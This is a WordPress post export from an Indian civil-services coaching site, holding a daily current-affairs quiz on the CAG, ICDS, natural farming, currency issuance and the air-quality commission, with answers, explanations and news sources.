{"id":2763,"date":"2025-11-24T04:28:28","date_gmt":"2025-11-24T04:28:28","guid":{"rendered":"https:\/\/iasquest.com\/?p=2763"},"modified":"2026-02-11T18:47:18","modified_gmt":"2026-02-11T18:47:18","slug":"daily-current-affairs-20-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-20-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 20.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1.&nbsp; Which among the following statements are correct with respect to the Comptroller and Auditor General (CAG) of India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. The CAG is a constitutional authority established under Article 148 of the Constitution of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. The CAG holds office for a term of five years or until the age of 60 years, whichever is earlier.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. The CAG can only be removed through a process similar to the removal of a Supreme Court judge.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. The CAG audits and accounts all receipts and expenditures of the Union and State governments.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (a) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong> CAG issues advisory to standardise govt. expenditure classification across India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Comptroller and Auditor General (CAG) of India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Constitutional Basis<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>The CAG is established under <strong>Article 148<\/strong> of the Constitution of India.<\/li>\n\n\n\n<li>It is a <strong>constitutional authority<\/strong> responsible for auditing government accounts. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Serves as an <strong>independent institution<\/strong> to ensure accountability in financial administration.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Appointment and Tenure<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>Appointed by the <strong>President of India<\/strong>.<\/li>\n\n\n\n<li>Holds office for a <strong>term of six years<\/strong> or until the age of <strong>65 years<\/strong>, whichever is earlier. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>Can only be removed through a <strong>process similar to the removal of a Supreme Court judge<\/strong> (impeachment by Parliament). <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>Role and Functions<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li>Audits <strong>all receipts and expenditures of the Union and State governments<\/strong>.<\/li>\n\n\n\n<li>Audits <strong>autonomous bodies and government companies<\/strong> under Article 151.<\/li>\n\n\n\n<li>Reports findings to <strong>Parliament or State Legislatures<\/strong> for action.<\/li>\n\n\n\n<li>Conducts <strong>performance audits<\/strong> to assess economy, efficiency, and effectiveness of government programs.<\/li>\n\n\n\n<li>Provides recommendations for <strong>improving financial management and governance<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">Note: The CAG <strong>does not maintain accounts<\/strong>; it only <strong>audits<\/strong> them. The accounting is done by the <strong>Controller General of Accounts (CGA)<\/strong>. <strong>Hence statement 4 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Powers and Autonomy<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>Has <strong>authority to access all government accounts and records<\/strong>.<\/li>\n\n\n\n<li>Can conduct <strong>audits of government entities, PSUs, and authorities funded by public money<\/strong>.<\/li>\n\n\n\n<li>Works independently of the executive branch to maintain <strong>impartiality and transparency<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Reports<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>Presents reports to <strong>Parliament or State Legislatures<\/strong> through the <strong>President or Governor<\/strong>.<\/li>\n\n\n\n<li>Reports are classified as: <strong>Audit Reports on Finance, Performance, Compliance, and Commercial entities<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><br><strong>Q. In India, other than ensuring that public funds are used efficiently and for their intended purpose, what is the importance of the office of the Comptroller and Auditor General (CAG)?<\/strong> <br><br>1. CAG exercises exchequer control on behalf of the Parliament when the President of India declares a national emergency\/financial emergency. <br>2. CAG reports on the execution of projects or programs by the ministers are discussed by the Public Accounts Committee. <br>3. Information from CAG reports can be used by investigating agencies to press charges against those who have violated the law while managing public finances. <br>4. While dealing with the audit and accounting of government companies, CAG has certain judicial powers for prosecuting those who violate the law. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1, 3 and 4 only <br>(b) 2 only <br><strong>(c) 2 and 3 only<\/strong> <br>(d) 1, 2, 3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-26 wp-block-paragraph\" style=\"color:#1207ed\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/cag-issues-advisory-to-standardise-govt-expenditure-classification-across-india\/article70298582.ece#:~:text=The%20Office%20of%20the%20Comptroller,and%20all%20the%20State%20governments\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/cag-issues-advisory-to-standardise-govt-expenditure-classification-across-india\/article70298582.ece#:~:text=The%20Office%20of%20the%20Comptroller,and%20all%20the%20State%20governments<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>2. The Integrated Child Development Services (ICDS) Scheme focuses on which of the following?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">1. Health and nutrition of young children<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">2. Early childhood education<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">3. Support to pregnant and lactating mothers<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">4. Employment guarantee for care workers<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(b) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(c) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Answer: (b) 1, 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>In NEWS: <\/strong>Recognise the critical role of the childcare worker<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>The Integrated Child Development Services (ICDS) Scheme:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li>The <strong>Integrated Child Development Services (ICDS) Scheme<\/strong> was launched in <strong>1975<\/strong>.<\/li>\n\n\n\n<li>Its <strong>main objective<\/strong> is the holistic development of <strong>children below six years<\/strong>, pregnant women, and lactating mothers.<\/li>\n\n\n\n<li><strong>Core services<\/strong> include <strong>supplementary nutrition, immunization, health check-ups, referral services, and pre-school non-formal education<\/strong>.<\/li>\n\n\n\n<li><strong>Anganwadi Centres (AWCs)<\/strong> are the implementing units, run by Anganwadi workers and helpers.<\/li>\n\n\n\n<li>Currently, there are over <strong>1.4 million Anganwadi Centres<\/strong> in India.<\/li>\n\n\n\n<li>The <strong>Palna Scheme<\/strong> provides cr\u00e8ches for children <strong>below three years<\/strong>.<\/li>\n\n\n\n<li><strong>Beneficiaries<\/strong> include children (0\u20136 years), pregnant and lactating women, and <strong>adolescent girls<\/strong>.<\/li>\n\n\n\n<li>ICDS is a <strong>centrally sponsored scheme<\/strong> with <strong>cost-sharing between Centre and States<\/strong>.<\/li>\n\n\n\n<li>The scheme addresses <strong>malnutrition, early childhood education, and maternal and child health<\/strong>.<\/li>\n\n\n\n<li>ICDS is <strong>one of the largest early childhood care programmes in the world<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Note<\/strong>: It does <strong>not provide an employment guarantee<\/strong> for care workers. <strong>Hence statements 1, 2 and 3 are correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. Consider the following statements in the context of interventions being undertaken under Anaemia Mukt Bharat Strategy :<\/strong> <br><br>1. It provides prophylactic calcium supplementation for pre-school children, adolescents and pregnant women. <br>2. It runs a campaign for delayed cord clamping at the time of childbirth. <br>3. It provides for periodic deworming. to children and adolescents. <br>4. It addresses non-nutritional causes of anaemia in endemic pockets with special focus on malaria, hemoglobinopathies and fluorosis. <br><br><strong>How many of the statements given above are correct?<\/strong> <br><br>(a) Only one <br>(b) Only two <br><strong>(c) Only three<\/strong> <br>(d) All four<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-43 wp-block-paragraph\" style=\"color:#1207ed\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/lead\/recognise-the-critical-role-of-the-childcare-worker\/article70299985.ece#:~:text=Recognition%20of%20the%20knowledge%20and,children%20are%20to%20be%20realised\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/lead\/recognise-the-critical-role-of-the-childcare-worker\/article70299985.ece#:~:text=Recognition%20of%20the%20knowledge%20and,children%20are%20to%20be%20realised<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>3. With reference to Natural farming in India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">1. National Mission on Natural Farming (NMNF), 2023 is a flagship initiative launched to promote chemical-free agriculture.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">2. Natural farming is the farming system that avoids synthetic chemicals, but may use permitted organic inputs.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">3. Bharatiya Prakritik Krishi Paddhati (BPKP) aims to promotes Zero Budget Natural Farming (ZBNF)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>In NEWS: <\/strong>India will become hub of natural farming; science, tradition to lead way: PM<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>Natural Farming:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li><strong>Natural farming is positioned as a 21st-century agricultural imperative<\/strong>, aimed at restoring soil health degraded by excessive chemical fertilisers and pesticides.<\/li>\n\n\n\n<li><strong>Prime Minister Modi emphasises natural farming as both science-backed and tradition-aligned<\/strong>, combining India\u2019s indigenous knowledge with modern research.<\/li>\n\n\n\n<li><strong>India aims to emerge as a global hub of natural farming<\/strong>, supported by national missions, scientific institutions and farmer-led initiatives.<\/li>\n\n\n\n<li><strong>The National Mission on Natural Farming (NMNF)<\/strong> has already influenced lakhs of farmers, with <strong>Tamil Nadu bringing ~35,000 hectares<\/strong> under natural and organic farming.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Natural Farming vs Organic Farming<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li><strong>Natural Farming:<\/strong> Farming method without external inputs; relies entirely on locally available, biological, and regenerative processes.<\/li>\n\n\n\n<li><strong>Organic Farming:<\/strong> Farming system that avoids synthetic chemicals, but may use permitted organic inputs. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Natural Farming Initiatives in India<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>National Mission on Natural Farming (NMNF), 2023<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>Flagship initiative launched to promote chemical-free agriculture. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Focuses on training, capacity building, and cluster-based natural farming.<\/li>\n\n\n\n<li>Implemented through <strong>National Centre for Organic and Natural Farming (NCONF)<\/strong> and SAUs\/KVKs.<\/li>\n\n\n\n<li>Targets: <strong>1 crore farmers<\/strong> and <strong>10 lakh hectares<\/strong> by 2026\u201327 (as per policy documents).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Bharatiya Prakritik Krishi Paddhati (BPKP)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>A sub-scheme under <strong>Paramparagat Krishi Vikas Yojana (PKVY)<\/strong>.<\/li>\n\n\n\n<li>Promotes <strong>Zero Budget Natural Farming (ZBNF)<\/strong>. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Provides financial assistance for:<ul><li>On-farm inputs (Jeevamrit, Beejamrit, Ghanjeevamrit),<\/li><\/ul><ul><li>Training and certification,<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Resource centres.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. With reference to organic farming in India, consider the following statements:<\/strong> <br><br>1.&#8217;The National Programme for Organic Production&#8217; (NPOP) is operated under the guidelines and directions of the Union Ministry of Rural Development. <br>2.&#8217;The Agricultural and Processed Food Products Export Development Authority&#8217; (APEDA) functions as the Secretariat for the implementation of NPOP. <br>3. Sikkim has become India&#8217;s first fully organic State. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-65 wp-block-paragraph\" style=\"color:#1207ed\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/cities\/Coimbatore\/pm-narendra-modi-coimbatore-visit-south-india-natural-farming-summit-november-19-2025\/article70298336.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/cities\/Coimbatore\/pm-narendra-modi-coimbatore-visit-south-india-natural-farming-summit-november-19-2025\/article70298336.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>4. Consider the following statements regarding the issuance of currency and coins in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">1. The Reserve Bank of India (RBI) is the sole authority to issue banknotes in all denominations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">2. The government produces coins at its four mints in Mumbai, Kolkata, Hyderabad, and Delhi.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">3. The Government of India under the RBI Act, 1934 is authorized to issue coins, as it is responsible for designing and minting them.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Answer: (d) None<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>In NEWS:<\/strong> Modi releases \u20b9100 coin and postal stamps in Puttaparthi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Authority for Issuing Currency<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-79\">\n<li><strong>Reserve Bank of India (RBI):<\/strong> Sole authority to issue <strong>banknotes<\/strong> in India,<strong> except the \u20b91 note.<\/strong><\/li>\n\n\n\n<li><strong>Government of India:<\/strong> Issues the <strong>one rupee note<\/strong> and all <strong>coins<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Legal Framework<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li><strong>RBI Act, 1934:<\/strong> Governs issuance of <strong>banknotes<\/strong>.<\/li>\n\n\n\n<li><strong>Coinage Act, 2011:<\/strong> Governs minting and circulation of <strong>coins<\/strong>. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Finance Ministry:<\/strong> Coordinates issuance of \u20b91 note, coins, and <strong>commemorative coins<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Types of Currency<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li><strong>Banknotes:<\/strong> All denominations except \u20b91, issued by RBI. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Coins:<\/strong> Issued by Government of India; denominations include \u20b91, \u20b92, \u20b95, \u20b910, and commemorative coins.<\/li>\n\n\n\n<li><strong>Commemorative Coins:<\/strong> Legal tender, issued to mark <strong>special events, personalities, or milestones<\/strong>, usually in limited circulation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Minting of Coins<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li><strong>Mints:<\/strong> Located at Mumbai, Kolkata, Hyderabad, and <strong>Noida<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Function:<\/strong> Manufacture coins and supply them to RBI for circulation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Roles &amp; Responsibilities<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-87\">\n<li><strong>RBI:<\/strong> Manages circulation, denomination, and design of banknotes (except \u20b91).<\/li>\n\n\n\n<li><strong>Finance Ministry \/ Government of India:<\/strong> Issues \u20b91 notes and coins; approves commemorative coins.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><br><strong>Q. With reference to Central Bank digital currencies, consider the following statements:<\/strong> <br><br>1. It is possible to make payments in a digital currency without using the US dollar or SWIFT system. <br>2. A digital currency can be distributed with a condition programmed into it such as a time-frame for spending it. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-88 wp-block-paragraph\" style=\"color:#1207ed\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/andhra-pradesh\/pm-releases-100-coin-postal-stamps-at-sathya-sai-baba-centenary-in-puttaparthi\/article70298246.ece#:~:text=Prime%20Minister%20Narendra%20Modi%20on,Baba%20in%20Prasanthi%20Nilayam%20here\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/andhra-pradesh\/pm-releases-100-coin-postal-stamps-at-sathya-sai-baba-centenary-in-puttaparthi\/article70298246.ece#:~:text=Prime%20Minister%20Narendra%20Modi%20on,Baba%20in%20Prasanthi%20Nilayam%20here<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>5. With reference to the Commission for Air Quality Management (CAQM), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">1. CAQM is a statutory body established under the Commission for Air Quality Management in NCR and Adjoining Areas Act, 2021.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">2. It replaced the earlier Environment Pollution (Prevention &amp; Control) Authority (EPCA)<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">3. The Commission is headed by a full-time Chairperson, who holds the post for a tenure of three years or until the age of 70.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">4. The commission can issue binding directions to state authorities, industries, and agencies.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(b) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(c) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(d) 1, 2, 3, and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Answer: (d) 1, 2, 3, and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>In NEWS: <\/strong>SC allows CAQM to take \u2018proactive\u2019 measures to curb Delhi air pollution<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>Commission for Air Quality Management (CAQM):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-103\">\n<li>CAQM is a statutory body established under the <strong>Commission for Air Quality Management in NCR and Adjoining Areas Act, 2021<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It replaced the earlier <strong>Environment Pollution (Prevention &amp; Control) Authority (EPCA)<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Structure<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-105\">\n<li>The Commission is a high-level body headed by a <strong>full-time Chairperson<\/strong>, an official of Secretary or Chief Secretary rank, who holds the post for a tenure of <strong>three years<\/strong> or until the <strong>age of 70.<\/strong> <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>It comprises a multi-member body including:<ul><li>Full-time members (technical experts and a central government official).<\/li><\/ul><ul><li>Ex-officio members from the Central government and the concerned NCR state governments.<\/li><\/ul><ul><li>Technical members from bodies like the CPCB, the Indian Space Research Organisation (ISRO), and NITI Aayog.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Members from non-governmental organizations working in environment-related fields.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Functions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-107\">\n<li>Plan and execute measures to <strong>control and prevent air pollution<\/strong>.<\/li>\n\n\n\n<li>Set <strong>emission limits<\/strong>, restrict polluting activities, and monitor compliance.<\/li>\n\n\n\n<li>Conduct research and investigations into air pollution sources and trends.<\/li>\n\n\n\n<li>Issue <strong>binding directions<\/strong> to state authorities, industries, and agencies. <strong>Hence statement 4 is correct.<\/strong><\/li>\n\n\n\n<li>Impose <strong>environmental compensation<\/strong> or fines on violators.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Climate and Clean Air Coalition (CCAC) to Reduce Short Lived Climate Pollutants is a unique initiative of G2O group of countries. <br>2. The CCAC focuses on methane, black carbon and hydrofluorocarbons. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-108 wp-block-paragraph\" style=\"color:#1207ed\"><strong>Source: <\/strong><a 